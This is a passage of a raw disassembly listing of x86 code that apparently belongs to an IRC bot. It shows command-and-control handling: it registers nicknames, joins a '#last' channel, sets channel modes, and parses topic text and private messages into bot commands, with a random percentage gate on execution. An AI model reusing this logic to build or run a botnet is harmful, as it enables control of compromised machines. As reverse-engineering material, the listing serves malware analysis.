push offset aCSCCUCUSCCC ; "%c%s%c%c%u%c%u%s%c%c%c"
lea eax, [ebp+var_2C8]
push eax
call sub_416B5E ; sprintf
add esp, 34h
jmp short loc_40DCE5
; ---------------------------------------------------------------------------
loc_40DCB8: ; CODE XREF: sub_40D871+2FAj
push offset dword_41DAA4
lea eax, [ebp+var_2C8]
push eax
call sub_416B3A ; strcpy
pop ecx
pop ecx
lea eax, [ebp+var_2C8]
push eax
call sub_4105FB
pop ecx
lea eax, [ebp+var_2C8]
push eax
call sub_40D7E5
pop ecx
loc_40DCE5: ; CODE XREF: sub_40D871+445j
lea eax, [ebp+var_2C8]
push eax
push offset aNickS ; "NICK %s"
call sub_40D6CB
pop ecx
pop ecx
jmp loc_40E615
; ---------------------------------------------------------------------------
loc_40DCFD: ; CODE XREF: sub_40D871+2D0j
push offset aError ; "ERROR"
mov eax, [ebp+arg_C]
push dword ptr [eax]
call sub_416F74 ; _stricmp
pop ecx
pop ecx
test eax, eax
jnz short loc_40DD25
push 0
push 0
push 0
call sub_40D366
add esp, 0Ch
jmp loc_40E615
; ---------------------------------------------------------------------------
loc_40DD25: ; CODE XREF: sub_40D871+49Fj
push offset aJoin ; "JOIN"
mov eax, [ebp+arg_C]
push dword ptr [eax+4]
call sub_416F74 ; _stricmp
pop ecx
pop ecx
test eax, eax
jnz short loc_40DD97
push offset byte_41EE48
push [ebp+arg_4]
call sub_416F74 ; _stricmp
pop ecx
pop ecx
test eax, eax
jnz short loc_40DD97
mov eax, [ebp+arg_C]
cmp dword ptr [eax+8], 0
jz short loc_40DD97
mov eax, [ebp+arg_C]
mov eax, [eax+8]
movsx eax, byte ptr [eax]
cmp eax, 3Ah
jnz short loc_40DD74
mov eax, [ebp+arg_C]
mov eax, [eax+8]
inc eax
mov [ebp+var_7E8], eax
jmp short loc_40DD80
; ---------------------------------------------------------------------------
loc_40DD74: ; CODE XREF: sub_40D871+4F2j
mov eax, [ebp+arg_C]
mov eax, [eax+8]
mov [ebp+var_7E8], eax
loc_40DD80: ; CODE XREF: sub_40D871+501j
push [ebp+var_7E8]
push offset aModeSSmntu ; "MODE %s +smntu"
call sub_40D6CB
pop ecx
pop ecx
jmp loc_40E615
; ---------------------------------------------------------------------------
loc_40DD97: ; CODE XREF: sub_40D871+4C8j
; sub_40D871+4DBj ...
push offset a001 ; "001"
mov eax, [ebp+arg_C]
push dword ptr [eax+4]
call sub_416F74 ; _stricmp
pop ecx
pop ecx
test eax, eax
jnz loc_40DE70
push 21h
mov eax, [ebp+arg_C]
push dword ptr [eax+8]
lea eax, [ebp+var_4B4]
push eax
call sub_416B58 ; strncpy
add esp, 0Ch
lea eax, [ebp+var_4B4]
push eax
push offset byte_41EE48
call sub_416B3A ; strcpy
pop ecx
pop ecx
lea eax, [ebp+var_4B4]
push eax
push offset aModeSXi ; "MODE %s +xi"
call sub_40D6CB
pop ecx
pop ecx
push offset dword_41ED48
push offset aLast ; "#last"
push offset aJoinSS ; "JOIN %s %s"
call sub_40D6CB
add esp, 0Ch
lea eax, [ebp+var_490]
push eax
call sub_40CF25
push eax
call sub_40449C
pop ecx
pop ecx
test eax, eax
jz short loc_40DE58
lea eax, [ebp+var_490]
push eax
call sub_4041B7
pop ecx
test eax, eax
jz short loc_40DE43
lea eax, [ebp+var_4B4]
push eax
push offset aUserhostS ; "USERHOST %s"
call sub_40D6CB
pop ecx
pop ecx
jmp short loc_40DE56
; ---------------------------------------------------------------------------
loc_40DE43: ; CODE XREF: sub_40D871+5BBj
lea eax, [ebp+var_490]
push eax
push offset dword_41EF48
call sub_416B3A ; strcpy
pop ecx
pop ecx
loc_40DE56: ; CODE XREF: sub_40D871+5D0j
jmp short loc_40DE6B
; ---------------------------------------------------------------------------
loc_40DE58: ; CODE XREF: sub_40D871+5AAj
lea eax, [ebp+var_4B4]
push eax
push offset aUserhostS ; "USERHOST %s"
call sub_40D6CB
pop ecx
pop ecx
loc_40DE6B: ; CODE XREF: sub_40D871:loc_40DE56j
jmp loc_40E615
; ---------------------------------------------------------------------------
loc_40DE70: ; CODE XREF: sub_40D871+53Aj
push offset a451 ; "451"
mov eax, [ebp+arg_C]
push dword ptr [eax+4]
call sub_416F74 ; _stricmp
pop ecx
pop ecx
test eax, eax
jnz short loc_40DE96
push 0
push 1
call sub_40D043
pop ecx
pop ecx
jmp loc_40E615
; ---------------------------------------------------------------------------
loc_40DE96: ; CODE XREF: sub_40D871+613j
push offset a302 ; "302"
mov eax, [ebp+arg_C]
push dword ptr [eax+4]
call sub_416F74 ; _stricmp
pop ecx
pop ecx
test eax, eax
jnz loc_40DF3E
mov eax, [ebp+arg_C]
cmp dword ptr [eax+0Ch], 0
jnz short loc_40DEBE
jmp loc_40E615
; ---------------------------------------------------------------------------
loc_40DEBE: ; CODE XREF: sub_40D871+646j
push offset a@ ; "@"
mov eax, [ebp+arg_C]
push dword ptr [eax+0Ch]
call sub_416BA8 ; strstr
pop ecx
pop ecx
mov [ebp+var_5B8], eax
cmp [ebp+var_5B8], 0
jnz short loc_40DEE4
jmp loc_40E615
; ---------------------------------------------------------------------------
loc_40DEE4: ; CODE XREF: sub_40D871+66Cj
push 100h
mov eax, [ebp+var_5B8]
inc eax
push eax
push offset dword_41EF48
call sub_407A56
add esp, 0Ch
lea eax, [ebp+var_5B4]
push eax
mov eax, [ebp+var_5B8]
inc eax
push eax
call sub_404612
pop ecx
pop ecx
movzx eax, al
test eax, eax
jnz short loc_40DF20
jmp loc_40E615
; ---------------------------------------------------------------------------
loc_40DF20: ; CODE XREF: sub_40D871+6A8j
push 100h
lea eax, [ebp+var_5B4]
push eax
push offset dword_41EF48
call sub_407A56
add esp, 0Ch
jmp loc_40E615
; ---------------------------------------------------------------------------
loc_40DF3E: ; CODE XREF: sub_40D871+639j
push offset aNick ; "NICK"
mov eax, [ebp+arg_C]
push dword ptr [eax+4]
call sub_416F74 ; _stricmp
pop ecx
pop ecx
test eax, eax
jnz short loc_40DF8E
mov eax, [ebp+arg_C]
cmp dword ptr [eax+8], 0
jnz short loc_40DF62
jmp loc_40E615
; ---------------------------------------------------------------------------
loc_40DF62: ; CODE XREF: sub_40D871+6EAj
push offset byte_41EE48
push [ebp+arg_4]
call sub_416F74 ; _stricmp
pop ecx
pop ecx
test eax, eax
jnz short loc_40DF89
mov eax, [ebp+arg_C]
mov eax, [eax+8]
inc eax
push eax
push offset byte_41EE48
call sub_416B3A ; strcpy
pop ecx
pop ecx
loc_40DF89: ; CODE XREF: sub_40D871+702j
jmp loc_40E615
; ---------------------------------------------------------------------------
loc_40DF8E: ; CODE XREF: sub_40D871+6E1j
push offset a332 ; "332"
mov eax, [ebp+arg_C]
push dword ptr [eax+4]
call sub_416DDE ; strcmp
pop ecx
pop ecx
test eax, eax
jnz loc_40E128
mov eax, [ebp+arg_10]
cmp dword ptr [eax+10h], 0
jz short loc_40DFBF
mov eax, [ebp+arg_10]
mov eax, [eax+10h]
movsx eax, byte ptr [eax+1]
test eax, eax
jnz short loc_40DFC4
loc_40DFBF: ; CODE XREF: sub_40D871+73Ej
jmp loc_40E615
; ---------------------------------------------------------------------------
loc_40DFC4: ; CODE XREF: sub_40D871+74Cj
mov eax, [ebp+arg_10]
mov eax, [eax+10h]
movsx eax, byte ptr [eax+1]
cmp eax, 3Dh
jnz loc_40E05F
mov eax, [ebp+arg_10]
mov eax, [eax+10h]
inc eax
push eax
mov eax, [ebp+arg_10]
mov eax, [eax+10h]
inc eax
inc eax
push eax
call sub_40E9C9
pop ecx
pop ecx
mov [ebp+var_5BC], eax
push [ebp+var_5BC]
mov eax, [ebp+arg_10]
mov eax, [eax+10h]
inc eax
push eax
call sub_40F040
pop ecx
pop ecx
mov [ebp+var_5BC], eax
push [ebp+var_5BC]
mov eax, [ebp+arg_10]
mov eax, [eax+10h]
inc eax
push eax
call sub_40EF41
pop ecx
pop ecx
mov eax, [ebp+arg_10]
cmp dword ptr [eax+14h], 0
jz short loc_40E04E
mov eax, [ebp+arg_10]
push dword ptr [eax+14h]
mov eax, [ebp+arg_10]
mov eax, [eax+10h]
mov ecx, [ebp+var_5BC]
lea eax, [eax+ecx+1]
push eax
call sub_416B3A ; strcpy
pop ecx
pop ecx
jmp short loc_40E05F
; ---------------------------------------------------------------------------
loc_40E04E: ; CODE XREF: sub_40D871+7BBj
mov eax, [ebp+arg_10]
mov eax, [eax+10h]
mov ecx, [ebp+var_5BC]
and byte ptr [eax+ecx+1], 0
loc_40E05F: ; CODE XREF: sub_40D871+760j
; sub_40D871+7DBj
mov eax, [ebp+arg_10]
mov eax, [eax+10h]
movsx eax, byte ptr [eax+1]
test eax, eax
jz loc_40E123
lea eax, [ebp+var_7C4]
push eax
push offset asc_41A07C ; "]["
mov eax, [ebp+arg_10]
mov eax, [eax+10h]
inc eax
push eax
call sub_40813C
add esp, 0Ch
mov [ebp+var_7C0], eax
and [ebp+var_7C8], 0
loc_40E09A: ; CODE XREF: sub_40D871+8ADj
cmp [ebp+var_7C0], 0
jnz short loc_40E0A5
jmp short loc_40E123
; ---------------------------------------------------------------------------
loc_40E0A5: ; CODE XREF: sub_40D871+830j
; sub_40D871+851j
mov eax, [ebp+var_7C0]
movsx eax, byte ptr [eax]
cmp eax, 20h
jz short loc_40E0B5
jmp short loc_40E0C4
; ---------------------------------------------------------------------------
loc_40E0B5: ; CODE XREF: sub_40D871+840j
mov eax, [ebp+var_7C0]
inc eax
mov [ebp+var_7C0], eax
jmp short loc_40E0A5
; ---------------------------------------------------------------------------
loc_40E0C4: ; CODE XREF: sub_40D871+842j
push [ebp+var_7C0]
mov eax, [ebp+arg_C]
push dword ptr [eax+0Ch]
push offset aLinkLink@linkP ; "link!link@link PRIVMSG %s :%s"
push 200h
lea eax, [ebp+var_7BC]
push eax
call sub_416BAE ; _snprintf
add esp, 14h
lea eax, [ebp+var_7BC]
push eax
call sub_40E618
pop ecx
lea eax, [ebp+var_7C4]
push eax
push offset asc_41A07C ; "]["
push 0
call sub_40813C
add esp, 0Ch
mov [ebp+var_7C8], eax
mov eax, [ebp+var_7C8]
mov [ebp+var_7C0], eax
jmp loc_40E09A
; ---------------------------------------------------------------------------
loc_40E123: ; CODE XREF: sub_40D871+7FAj
; sub_40D871+832j
jmp loc_40E615
; ---------------------------------------------------------------------------
loc_40E128: ; CODE XREF: sub_40D871+731j
cmp [ebp+arg_0], 0
jz short loc_40E153
mov eax, [ebp+arg_C]
cmp dword ptr [eax+8], 0
jz short loc_40E153
mov eax, [ebp+arg_C]
cmp dword ptr [eax+0Ch], 0
jz short loc_40E153
push offset byte_41EE48
push [ebp+arg_4]
call sub_416F74 ; _stricmp
pop ecx
pop ecx
test eax, eax
jnz short loc_40E158
loc_40E153: ; CODE XREF: sub_40D871+8BBj
; sub_40D871+8C4j ...
jmp loc_40E615
; ---------------------------------------------------------------------------
loc_40E158: ; CODE XREF: sub_40D871+8E0j
mov eax, [ebp+arg_C]
mov eax, [eax+0Ch]
inc eax
mov ecx, [ebp+arg_C]
mov [ecx+0Ch], eax
mov eax, [ebp+arg_10]
mov eax, [eax+0Ch]
inc eax
mov ecx, [ebp+arg_10]
mov [ecx+0Ch], eax
push offset aPrivmsg ; "PRIVMSG"
mov eax, [ebp+arg_C]
push dword ptr [eax+4]
call sub_416F74 ; _stricmp
pop ecx
pop ecx
test eax, eax
jnz short loc_40E1C0
mov eax, [ebp+arg_C]
mov eax, [eax+0Ch]
movsx eax, byte ptr [eax]
cmp eax, 1
jnz short loc_40E1AB
mov eax, [ebp+arg_4]
mov [ebp+var_90], eax
mov [ebp+var_84], 3
jmp short loc_40E1BE
; ---------------------------------------------------------------------------
loc_40E1AB: ; CODE XREF: sub_40D871+923j
mov eax, [ebp+arg_C]
mov eax, [eax+8]
mov [ebp+var_90], eax
and [ebp+var_84], 0
loc_40E1BE: ; CODE XREF: sub_40D871+938j
jmp short loc_40E216
; ---------------------------------------------------------------------------
loc_40E1C0: ; CODE XREF: sub_40D871+915j
push offset aNotice ; "NOTICE"
mov eax, [ebp+arg_C]
push dword ptr [eax+4]
call sub_416F74 ; _stricmp
pop ecx
pop ecx
test eax, eax
jnz short loc_40E211
mov eax, [ebp+arg_C]
mov eax, [eax+0Ch]
movsx eax, byte ptr [eax]
cmp eax, 1
jnz short loc_40E1F9
mov eax, [ebp+arg_4]
mov [ebp+var_90], eax
mov [ebp+var_84], 3
jmp short loc_40E20F
; ---------------------------------------------------------------------------
loc_40E1F9: ; CODE XREF: sub_40D871+971j
mov eax, [ebp+arg_C]
mov eax, [eax+8]
mov [ebp+var_90], eax
mov [ebp+var_84], 1
loc_40E20F: ; CODE XREF: sub_40D871+986j
jmp short loc_40E216
; ---------------------------------------------------------------------------
loc_40E211: ; CODE XREF: sub_40D871+963j
jmp loc_40E615
; ---------------------------------------------------------------------------
loc_40E216: ; CODE XREF: sub_40D871:loc_40E1BEj
; sub_40D871:loc_40E20Fj
cmp [ebp+var_84], 3
jnz loc_40E321
mov eax, [ebp+arg_C]
mov eax, [eax+0Ch]
inc eax
mov ecx, [ebp+arg_C]
mov [ecx+0Ch], eax
mov eax, [ebp+arg_10]
mov eax, [eax+0Ch]
inc eax
mov ecx, [ebp+arg_10]
mov [ecx+0Ch], eax
and [ebp+var_7CC], 0
jmp short loc_40E253
; ---------------------------------------------------------------------------
loc_40E246: ; CODE XREF: sub_40D871:loc_40E31Cj
mov eax, [ebp+var_7CC]
inc eax
mov [ebp+var_7CC], eax
loc_40E253: ; CODE XREF: sub_40D871+9D3j
mov eax, [ebp+var_7CC]
mov ecx, [ebp+arg_C]
cmp dword ptr [ecx+eax*4], 0
jz short loc_40E26B
cmp [ebp+var_7CC], 0Fh
jnz short loc_40E2B8
loc_40E26B: ; CODE XREF: sub_40D871+9EFj
mov eax, [ebp+var_7CC]
mov ecx, [ebp+arg_10]
push dword ptr [ecx+eax*4]
call sub_416B40 ; strlen
pop ecx
mov [ebp+var_7D4], eax
mov eax, [ebp+var_7CC]
mov ecx, [ebp+arg_C]
mov eax, [ecx+eax*4]
mov ecx, [ebp+var_7D4]
movsx eax, byte ptr [eax+ecx-1]
cmp eax, 1
jnz short loc_40E2B6
mov eax, [ebp+var_7CC]
mov ecx, [ebp+arg_C]
mov eax, [ecx+eax*4]
mov ecx, [ebp+var_7D4]
mov byte ptr [eax+ecx-1], 1
loc_40E2B6: ; CODE XREF: sub_40D871+A2Cj
jmp short loc_40E321
; ---------------------------------------------------------------------------
loc_40E2B8: ; CODE XREF: sub_40D871+9F8j
mov eax, [ebp+var_7CC]
mov ecx, [ebp+arg_C]
push dword ptr [ecx+eax*4]
call sub_416B40 ; strlen
pop ecx
mov [ebp+var_7D0], eax
mov eax, [ebp+var_7CC]
mov ecx, [ebp+arg_C]
mov eax, [ecx+eax*4]
mov ecx, [ebp+var_7D0]
movsx eax, byte ptr [eax+ecx-1]
cmp eax, 1
jnz short loc_40E31C
mov eax, [ebp+var_7CC]
mov ecx, [ebp+arg_C]
mov eax, [ecx+eax*4]
mov ecx, [ebp+var_7D0]
and byte ptr [eax+ecx-1], 0
mov eax, [ebp+var_7CC]
mov ecx, [ebp+arg_10]
mov eax, [ecx+eax*4]
mov ecx, [ebp+var_7D0]
and byte ptr [eax+ecx-1], 0
jmp short loc_40E321
; ---------------------------------------------------------------------------
loc_40E31C: ; CODE XREF: sub_40D871+A79j
jmp loc_40E246
; ---------------------------------------------------------------------------
loc_40E321: ; CODE XREF: sub_40D871+9ACj
; sub_40D871:loc_40E2B6j ...
push offset byte_41EE48
push [ebp+var_90]
call sub_416F74 ; _stricmp
pop ecx
pop ecx
test eax, eax
jnz short loc_40E340
mov eax, [ebp+arg_4]
mov [ebp+var_90], eax
loc_40E340: ; CODE XREF: sub_40D871+AC4j
push 7Ah
push 0
lea eax, [ebp+var_7C]
push eax
call sub_416B6A ; memset
add esp, 0Ch
mov eax, [ebp+arg_10]
mov eax, [eax]
mov [ebp+var_88], eax
and [ebp+var_8C], 0
mov eax, [ebp+arg_10]
push dword ptr [eax]
call sub_416B40 ; strlen
pop ecx
mov [ebp+var_80], eax
loc_40E370: ; CODE XREF: sub_40D871:loc_40E3F2j
cmp [ebp+var_80], 3
jnb short loc_40E378
jmp short loc_40E3F7
; ---------------------------------------------------------------------------
loc_40E378: ; CODE XREF: sub_40D871+B03j
mov eax, [ebp+var_88]
add eax, [ebp+var_80]
movsx eax, byte ptr [eax-1]
cmp eax, 20h
jnz short loc_40E393
mov eax, [ebp+var_80]
dec eax
mov [ebp+var_80], eax
jmp short loc_40E3F2
; ---------------------------------------------------------------------------
loc_40E393: ; CODE XREF: sub_40D871+B17j
mov eax, [ebp+var_88]
add eax, [ebp+var_80]
movsx eax, byte ptr [eax-3]
cmp eax, 20h
jnz short loc_40E3F0
mov eax, [ebp+var_88]
add eax, [ebp+var_80]
movsx eax, byte ptr [eax-2]
cmp eax, 2Dh
jnz short loc_40E3F0
mov eax, [ebp+var_88]
add eax, [ebp+var_80]
movsx eax, byte ptr [eax-1]
cmp eax, 7Ah
jg short loc_40E3F0
mov [ebp+var_8C], 1
mov eax, [ebp+var_88]
add eax, [ebp+var_80]
movsx eax, byte ptr [eax-1]
mov [ebp+eax+var_7C], 1
mov eax, [ebp+var_80]
sub eax, 3
mov [ebp+var_80], eax
jmp short loc_40E3F2
; ---------------------------------------------------------------------------
loc_40E3F0: ; CODE XREF: sub_40D871+B32j
; sub_40D871+B44j ...
jmp short loc_40E3F7
; ---------------------------------------------------------------------------
loc_40E3F2: ; CODE XREF: sub_40D871+B20j
; sub_40D871+B7Dj
jmp loc_40E370
; ---------------------------------------------------------------------------
loc_40E3F7: ; CODE XREF: sub_40D871+B05j
; sub_40D871:loc_40E3F0j
cmp [ebp+var_8C], 0
jz loc_40E4CC
and [ebp+var_7D8], 0
jmp short loc_40E41A
; ---------------------------------------------------------------------------
loc_40E40D: ; CODE XREF: sub_40D871:loc_40E4C7j
mov eax, [ebp+var_7D8]
inc eax
mov [ebp+var_7D8], eax
loc_40E41A: ; CODE XREF: sub_40D871+B9Aj
cmp [ebp+var_7D8], 10h
jnb loc_40E4CC
mov eax, [ebp+var_7D8]
mov ecx, [ebp+arg_10]
cmp dword ptr [ecx+eax*4], 0
jnz short loc_40E43B
jmp loc_40E4CC
; ---------------------------------------------------------------------------
loc_40E43B: ; CODE XREF: sub_40D871+BC3j
mov eax, [ebp+var_88]
add eax, [ebp+var_80]
mov ecx, [ebp+var_7D8]
mov edx, [ebp+arg_10]
cmp [edx+ecx*4], eax
jb short loc_40E4C7
cmp [ebp+var_8C], 0
jz short loc_40E48F
cmp [ebp+var_7D8], 0
jz short loc_40E488
mov eax, [ebp+var_7D8]
mov ecx, [ebp+arg_C]
push dword ptr [ecx+eax*4-4]
call sub_416B40 ; strlen
pop ecx
mov ecx, [ebp+var_7D8]
mov edx, [ebp+arg_10]
mov ecx, [edx+ecx*4-4]
and byte ptr [ecx+eax], 0
loc_40E488: ; CODE XREF: sub_40D871+BF1j
and [ebp+var_8C], 0
loc_40E48F: ; CODE XREF: sub_40D871+BE8j
mov eax, [ebp+var_7D8]
mov ecx, [ebp+arg_10]
mov eax, [ecx+eax*4]
and byte ptr [eax], 0
mov eax, [ebp+var_7D8]
mov ecx, [ebp+arg_C]
mov eax, [ecx+eax*4]
and byte ptr [eax], 0
mov eax, [ebp+var_7D8]
mov ecx, [ebp+arg_10]
and dword ptr [ecx+eax*4], 0
mov eax, [ebp+var_7D8]
mov ecx, [ebp+arg_C]
and dword ptr [ecx+eax*4], 0
loc_40E4C7: ; CODE XREF: sub_40D871+BDFj
jmp loc_40E40D
; ---------------------------------------------------------------------------
loc_40E4CC: ; CODE XREF: sub_40D871+B8Dj
; sub_40D871+BB0j ...
push offset byte_41EE48
mov eax, [ebp+arg_C]
push dword ptr [eax+8]
call sub_416F74 ; _stricmp
pop ecx
pop ecx
test eax, eax
jnz short loc_40E513
mov eax, [ebp+arg_10]
add eax, 0Ch
push eax
mov eax, [ebp+arg_C]
add eax, 0Ch
push eax
lea eax, [ebp+var_7C]
push eax
push [ebp+var_84]
push [ebp+var_90]
push [ebp+arg_8]
push [ebp+arg_4]
call sub_40A9CF
add esp, 1Ch
jmp loc_40E615
; ---------------------------------------------------------------------------
loc_40E513: ; CODE XREF: sub_40D871+C6Fj
mov eax, [ebp+arg_C]
cmp dword ptr [eax+10h], 0
jnz short loc_40E521
jmp loc_40E615
; ---------------------------------------------------------------------------
loc_40E521: ; CODE XREF: sub_40D871+CA9j
and [ebp+var_7DC], 0
push offset asc_41A070 ; "*"
mov eax, [ebp+arg_C]
push dword ptr [eax+0Ch]
call sub_416F74 ; _stricmp
pop ecx
pop ecx
test eax, eax
jnz short loc_40E54A
mov [ebp+var_7DC], 1
jmp loc_40E5DE
; ---------------------------------------------------------------------------
loc_40E54A: ; CODE XREF: sub_40D871+CCBj
mov eax, [ebp+arg_C]
push dword ptr [eax+0Ch]
push offset byte_41EE48
call sub_40A6EB
pop ecx
pop ecx
movzx eax, al
test eax, eax
jz short loc_40E56C
mov [ebp+var_7DC], 1
jmp short loc_40E5DE
; ---------------------------------------------------------------------------
loc_40E56C: ; CODE XREF: sub_40D871+CF0j
mov eax, [ebp+arg_C]
push dword ptr [eax+0Ch]
call sub_416B40 ; strlen
pop ecx
cmp eax, 4
ja short loc_40E5DE
mov eax, [ebp+arg_C]
push dword ptr [eax+0Ch]
call sub_416B40 ; strlen
pop ecx
mov ecx, [ebp+arg_C]
mov ecx, [ecx+0Ch]
movsx eax, byte ptr [ecx+eax-1]
cmp eax, 25h
jnz short loc_40E5DE
mov eax, [ebp+arg_C]
push dword ptr [eax+0Ch]
call sub_416B40 ; strlen
pop ecx
mov ecx, [ebp+arg_C]
mov ecx, [ecx+0Ch]
and byte ptr [ecx+eax-1], 0
call sub_410422
xor edx, edx
push 64h
pop ecx
div ecx
inc edx
mov [ebp+var_7E0], edx
mov eax, [ebp+arg_C]
push dword ptr [eax+0Ch]
call sub_416B9C ; atoi
pop ecx
cmp eax, [ebp+var_7E0]
jl short loc_40E5DE
mov [ebp+var_7DC], 1
loc_40E5DE: ; CODE XREF: sub_40D871+CD4j
; sub_40D871+CF9j ...
movzx eax, [ebp+var_7DC]
test eax, eax
jz short loc_40E615
mov eax, [ebp+arg_10]
add eax, 10h
push eax
mov eax, [ebp+arg_C]
add eax, 10h
push eax
lea eax, [ebp+var_7C]
push eax
push [ebp+var_84]
push [ebp+var_90]
push [ebp+arg_8]
push [ebp+arg_4]
call sub_40A9CF
add esp, 1Ch
loc_40E615: ; CODE XREF: sub_40D871+31j
; sub_40D871+4Cj ...
pop edi
leave
retn
sub_40D871 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E618 proc near ; CODE XREF: sub_40C93C+A8p
; sub_40D871+87Fp ...
var_1194 = dword ptr -1194h
var_1190 = dword ptr -1190h
var_118C = byte ptr -118Ch
var_1180 = dword ptr -1180h
var_114C = dword ptr -114Ch
var_1148 = dword ptr -1148h
var_1144 = dword ptr -1144h
var_113C = dword ptr -113Ch
var_1138 = dword ptr -1138h
var_1109 = byte ptr -1109h
var_1108 = byte ptr -1108h
var_1089 = byte ptr -1089h
var_1088 = byte ptr -1088h
var_88 = dword ptr -88h
var_84 = byte ptr -84h
var_5 = byte ptr -5
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 1194h
call sub_416BC0
and [ebp+var_4], 0
push 10h
lea eax, [ebp+var_118C]
push eax
lea eax, [ebp+var_1148]
push eax
lea eax, [ebp+var_1088]
push eax
push [ebp+arg_0]
call sub_407928
add esp, 14h
push offset a302 ; "302"
push [ebp+var_1144]
call sub_416F74 ; _stricmp
pop ecx
pop ecx
test eax, eax
jnz short loc_40E66D
mov dword_41E9AC, 1
jmp short loc_40E674
; ---------------------------------------------------------------------------
loc_40E66D: ; CODE XREF: sub_40E618+47j
and dword_41E9AC, 0
loc_40E674: ; CODE XREF: sub_40E618+53j
cmp [ebp+var_1148], 0
jz short loc_40E686
cmp [ebp+var_1144], 0
jnz short loc_40E68B
loc_40E686: ; CODE XREF: sub_40E618+63j
jmp locret_40E941
; ---------------------------------------------------------------------------
loc_40E68B: ; CODE XREF: sub_40E618+6Cj
push offset aPrivmsg ; "PRIVMSG"
push [ebp+var_1144]
call sub_416F74 ; _stricmp
pop ecx
pop ecx
test eax, eax
jz short loc_40E6BB
push offset aNotice ; "NOTICE"
push [ebp+var_1144]
call sub_416F74 ; _stricmp
pop ecx
pop ecx
test eax, eax
jnz loc_40E7A5
loc_40E6BB: ; CODE XREF: sub_40E618+87j
cmp [ebp+var_113C], 0
jz loc_40E7A5
cmp [ebp+var_1138], 0
jnz loc_40E7A5
mov eax, [ebp+var_113C]
movsx eax, byte ptr [eax]
cmp eax, 3Ah
jnz loc_40E7A5
mov eax, [ebp+var_113C]
movsx eax, byte ptr [eax+1]
cmp eax, 3Dh
jnz loc_40E7A5
mov eax, [ebp+var_113C]
movsx eax, byte ptr [eax+2]
test eax, eax
jz loc_40E7A5
mov eax, [ebp+var_113C]
inc eax
inc eax
push eax
call sub_40EC96
pop ecx
test eax, eax
jz loc_40E7A5
mov eax, [ebp+var_113C]
inc eax
push eax
mov eax, [ebp+var_113C]
inc eax
inc eax
push eax
call sub_40E9C9
pop ecx
pop ecx
mov [ebp+var_1190], eax
push [ebp+var_1190]
mov eax, [ebp+var_113C]
inc eax
push eax
call sub_40F040
pop ecx
pop ecx
mov [ebp+var_1190], eax
push [ebp+var_1190]
mov eax, [ebp+var_113C]
inc eax
push eax
call sub_40EF41
pop ecx
pop ecx
mov eax, [ebp+var_113C]
add eax, [ebp+var_1190]
and byte ptr [eax+1], 0
push 0Dh
lea eax, [ebp+var_1180]
push eax
lea eax, [ebp+var_113C]
push eax
push [ebp+var_1180]
push [ebp+var_113C]
call sub_407928
add esp, 14h
loc_40E7A5: ; CODE XREF: sub_40E618+9Dj
; sub_40E618+AAj ...
push offset aLinkLink@link ; "link!link@link"
push [ebp+var_1148]
call sub_416DDE ; strcmp
pop ecx
pop ecx
test eax, eax
jz loc_40E853
and [ebp+var_1194], 0
jmp short loc_40E7D5
; ---------------------------------------------------------------------------
loc_40E7C8: ; CODE XREF: sub_40E618+234j
mov eax, [ebp+var_1194]
inc eax
mov [ebp+var_1194], eax
loc_40E7D5: ; CODE XREF: sub_40E618+1AEj
mov eax, [ebp+var_1194]
cmp off_41DA5C[eax*4], 0
jnz short loc_40E7E7
jmp short loc_40E851
; ---------------------------------------------------------------------------
loc_40E7E7: ; CODE XREF: sub_40E618+1CBj
mov eax, [ebp+var_1194]
push off_41DA5C[eax*4]
call sub_4105FB
pop ecx
mov eax, [ebp+var_1194]
push off_41DA5C[eax*4]
mov eax, [ebp+var_1148]
inc eax
push eax
call sub_40A5BE
pop ecx
pop ecx
movzx eax, al
test eax, eax
jz short loc_40E839
mov eax, [ebp+var_1194]
push off_41DA5C[eax*4]
call sub_4105AD
pop ecx
mov [ebp+var_4], 1
jmp short loc_40E851
; ---------------------------------------------------------------------------
loc_40E839: ; CODE XREF: sub_40E618+203j
mov eax, [ebp+var_1194]
push off_41DA5C[eax*4]
call sub_4105AD
pop ecx
jmp loc_40E7C8
; ---------------------------------------------------------------------------
loc_40E851: ; CODE XREF: sub_40E618+1CDj
; sub_40E618+21Fj
jmp short loc_40E85A
; ---------------------------------------------------------------------------
loc_40E853: ; CODE XREF: sub_40E618+1A1j
mov [ebp+var_4], 1
loc_40E85A: ; CODE XREF: sub_40E618:loc_40E851j
and [ebp+var_88], 0
mov [ebp+var_114C], 1
jmp short loc_40E87A
; ---------------------------------------------------------------------------
loc_40E86D: ; CODE XREF: sub_40E618:loc_40E90Aj
mov eax, [ebp+var_114C]
inc eax
mov [ebp+var_114C], eax
loc_40E87A: ; CODE XREF: sub_40E618+253j
cmp [ebp+var_114C], 80h
jge loc_40E90F
mov eax, [ebp+var_1148]
add eax, [ebp+var_114C]
movsx eax, byte ptr [eax]
cmp eax, 21h
jnz short loc_40E8B6
mov [ebp+var_88], 1
mov eax, [ebp+var_114C]
and byte ptr [ebp+eax+var_88+3], 0
loc_40E8B6: ; CODE XREF: sub_40E618+284j
cmp [ebp+var_88], 0
jnz short loc_40E8DA
mov eax, [ebp+var_1148]
add eax, [ebp+var_114C]
mov ecx, [ebp+var_114C]
mov al, [eax]
mov byte ptr [ebp+ecx+var_88+3], al
loc_40E8DA: ; CODE XREF: sub_40E618+2A5j
mov eax, [ebp+var_1148]
add eax, [ebp+var_114C]
mov ecx, [ebp+var_114C]
mov al, [eax]
mov [ebp+ecx+var_1109], al
mov eax, [ebp+var_1148]
add eax, [ebp+var_114C]
movsx eax, byte ptr [eax]
test eax, eax
jnz short loc_40E90A
jmp short loc_40E90F
; ---------------------------------------------------------------------------
loc_40E90A: ; CODE XREF: sub_40E618+2EEj
jmp loc_40E86D
; ---------------------------------------------------------------------------
loc_40E90F: ; CODE XREF: sub_40E618+26Cj
; sub_40E618+2F0j
and [ebp+var_5], 0
and [ebp+var_1089], 0
lea eax, [ebp+var_118C]
push eax
lea eax, [ebp+var_1148]
push eax
lea eax, [ebp+var_1108]
push eax
lea eax, [ebp+var_84]
push eax
push [ebp+var_4]
call sub_40D871
add esp, 14h
locret_40E941: ; CODE XREF: sub_40E618:loc_40E686j
leave
retn
sub_40E618 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E943 proc near ; CODE XREF: sub_416ADB-21p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+arg_0]
mov [ebp+var_4], eax
